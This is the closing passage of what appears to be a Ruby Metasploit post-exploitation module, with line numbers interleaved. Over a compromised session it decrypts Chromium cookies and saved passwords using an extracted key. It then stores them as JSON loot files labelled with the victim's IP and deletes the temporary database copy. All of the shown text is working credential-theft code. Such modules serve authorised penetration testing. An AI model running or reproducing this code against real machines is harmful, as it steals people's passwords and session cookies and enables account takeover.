if data_type == 'Cookies' && row[-1].length >= (IV_SIZE + TAG_SIZE + 3)
912
row[-1] = decrypt_chromium_password(row[-1], encryption_key)
913
elsif data_type == 'Passwords' && row[2].length >= (IV_SIZE + TAG_SIZE + 3)
914
row[2] = decrypt_chromium_password(row[2], encryption_key)
915
end
916
end
917
end
918
919
if result.any?
920
browser_clean = browser.gsub('\\', '_').chomp('_')
921
timestamp = Time.now.strftime('%Y%m%d%H%M')
922
ip = session.sock.peerhost
923
result = result.map { |row| columns.zip(row).to_h }
924
data = "#{JSON.pretty_generate(result)}\n"
925
file_name = store_loot("#{browser_clean}_#{data_type}", 'application/json', session, data, "#{timestamp}_#{ip}_#{browser_clean}_#{data_type}.json", "#{browser_clean} #{data_type.capitalize}")
926
927
print_good("└ #{data_type.capitalize} extracted to #{file_name} (#{result.length} entries)")
928
else
929
vprint_error("└ #{data_type.capitalize} empty")
930
end
931
ensure
932
::File.delete(db_local_path) if ::File.exist?(db_local_path)
933
end
934
end
935
end
936
937
end
938
939